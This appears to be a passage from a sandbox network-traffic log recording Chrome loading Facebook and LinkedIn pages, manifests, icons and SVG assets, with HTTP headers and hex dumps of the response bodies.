2024-04-11 20:35:35 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	50030	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	905	OUT	GET /data/manifest/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4
2024-04-11 20:35:35 UTC	1248	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: datr=kEkYZr_nDMrv36ebLjkbz_9w; expires=Fri, 16-May-2025 20:35:35 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=None Set-Cookie: _js_datr=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=-1712867734; path=/; domain=.facebook.com; httponly Content-Type: application/json reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1506	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:35 UTC	5	IN	Data Raw: 34 61 66 0d 0a Data Ascii: 4af
2024-04-11 20:35:35 UTC	1206	IN	Data Raw: 7b 22 67 63 6d 5f 73 65 6e 64 65 72 5f 69 64 22 3a 22 31 35 30 35 37 38 31 34 33 35 34 22 2c 22 67 63 6d 5f 75 73 65 72 5f 76 69 73 69 62 6c 65 5f 6f 6e 6c 79 22 3a 74 72 75 65 2c 22 65 64 67 65 5f 73 69 64 65 5f 70 61 6e 65 6c 22 3a 7b 22 70 72 65 66 65 72 72 65 64 5f 77 69 64 74 68 22 3a 33 37 36 7d 2c 22 73 68 6f 72 74 5f 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 73 74 61 72 74 5f 75 72 6c 22 3a 22 5c 2f 3f 72 65 66 3d 68 6f 6d 65 73 63 72 65 65 6e 70 77 61 22 2c 22 64 69 73 70 6c 61 79 22 3a 22 6d 69 6e 69 6d 61 6c 2d 75 69 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6c 6f 72 22 3a 22 23 46 46 46 46 46 46 22 2c 22 74 68 65 6d 65 5f 63 6f 6c 6f 72 22 3a 22 23 31 38 37 37 46 32 22 2c Data Ascii: {"gcm_sender_id":"15057814354","gcm_user_visible_only":true,"edge_side_panel":{"preferred_width":376},"short_name":"Facebook","name":"Facebook","start_url":"\/?ref=homescreenpwa","display":"minimal-ui","background_color":"#FFFFFF","theme_color":"#1877F2",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	50031	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	608	OUT	GET /rsrc.php/yT/r/aGT3gskzWBf.ico HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1611	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: PnZPD3N3Z7MKaS+rHePOSQ== Expires: Sat, 05 Apr 2025 09:31:08 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: EsCuIIzYGCa+RCI3L4awJ18ruroEgdzVvxYBfy575QIA3TwomMZvD9TKPzq5+/nGRGYFNZ6Kjfz+sqStxGxRBQ== Date: Thu, 11 Apr 2024 20:35:35 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5430
2024-04-11 20:35:35 UTC	1	IN	Data Raw: 00 Data Ascii:
2024-04-11 20:35:35 UTC	5429	IN	Data Raw: 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 68 08 20 ff 66 08 a0 ff f3 ec cf ff ff ff ff ff ff ff ff ff 66 08 df ff 67 09 90 ff 64 08 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 60 00 10 ff 65 07 90 ff 66 08 ff ff 66 08 ff ff eb e0 ff ff ff ff ff ff ff ff ff ff 66 08 ff ff 66 08 ff ff 66 08 ff ff 65 09 90 ff 70 10 10 00 00 00 00 00 00 00 00 00 00 00 00 ff 60 00 10 ff 66 07 cf ff 66 08 ff ff 66 08 ff ff 66 08 ff ff eb e0 ff ff ff ff ff ff ff ff ff ff 66 08 ff ff 66 08 ff ff 66 08 ff ff 66 Data Ascii: h& ( h ffgd@`efffffep`ffffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	50026	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	378	OUT	GET /aero-v1/sc/h/adzjokfylbe8pvjr9h8iv96mw HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1064	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307097 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 14 Feb 2023 00:42:44 GMT Server: ECAcc (nyd/D10F) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 271 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=7.0433645E-4; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590987f0e6fd3de3e45eda8a13c X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJh/Dm/T3j5F7aihPA== Content-Length: 271 Connection: close
2024-04-11 20:35:35 UTC	271	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 69 64 3d 22 63 6c 6f 73 65 2d 73 6d 61 6c 6c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 64 61 74 61 2d 73 75 70 70 6f 72 74 65 64 2d 64 70 73 3d 22 31 36 78 31 36 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 20 33 2e 34 31 4c 39 2e 34 31 20 38 20 31 34 20 31 32 2e 35 39 20 31 32 2e 35 39 20 31 34 20 38 20 39 2e 34 31 20 33 2e 34 31 20 31 34 20 32 20 31 32 2e 35 39 20 36 2e 35 39 20 38 20 32 20 33 2e 34 31 20 33 2e 34 31 20 32 20 38 20 36 2e 35 39 20 31 32 2e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" id="close-small" aria-hidden="true" role="none" data-supported-dps="16x16" fill="currentColor"> <path d="M14 3.41L9.41 8 14 12.59 12.59 14 8 9.41 3.41 14 2 12.59 6.59 8 2 3.41 3.41 2 8 6.59 12.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	50027	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	378	OUT	GET /aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1279	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307092 Cache-Control: max-age=604800, immutable Content-Type: image/x-icon Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 05 Apr 2022 06:07:09 GMT NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true} Report-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true} Server: ECAcc (nyd/D194) Timing-Allow-Origin: * x-ambry-blob-size: 24838 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0014892071; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 0006159098caf92c1f70007c58a29e9f X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJjK+SwfcAB8WKKenw== Content-Length: 24838 Connection: close
2024-04-11 20:35:35 UTC	15123	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 01 00 20 00 68 04 00 00 46 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 ae 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 36 0e 00 00 40 40 00 00 01 00 20 00 28 42 00 00 de 1e 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 bb 84 1f bc b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff c0 8d 2f ba ff ff ff 00 ff ff ff 00 b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 Data Ascii: hF 6@@ (B( ssssssssssss/sss
2024-04-11 20:35:35 UTC	9715	IN	Data Raw: ff ff 00 b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 ee e0 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff d4 b0 70 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 Data Ascii: sssssssssssssssssssssspssssssss

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	50028	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	378	OUT	GET /aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8 HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1066	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306558 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Fri, 13 May 2022 17:24:11 GMT Server: ECAcc (nyd/D110) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 2721 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0010067654; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590b8a7bbc4f4af34b14c0cfa1b X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLinu8T0rzSxTAz6Gw== Content-Length: 2721 Connection: close
2024-04-11 20:35:35 UTC	2721	IN	Data Raw: 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 36 20 31 34 22 20 70 72 65 73 65 72 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 6e 59 4d 69 6e 20 6d 65 65 74 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 66 69 6c 6c 3d 22 43 75 72 72 65 6e 74 43 6f 6c 6f 72 22 3e 0a 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 69 6e 62 75 67 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 2c 31 2e 32 35 20 4c 31 34 2c 31 32 2e 37 35 20 43 31 34 2c 31 Data Ascii: <svg viewBox="0 0 56 14" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" fill="CurrentColor"> <g class="inbug" fill-rule="evenodd"> <path d="M14,1.25 L14,12.75 C14,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	50035	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	368	OUT	GET /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1119	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding Set-Cookie: fr=0vG5J7WWtrYcTapvn..BmGEmX..AAA.0.0.BmGEmX.AWUjTjkZEnA; expires=Wed, 10-Jul-2024 20:35:35 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 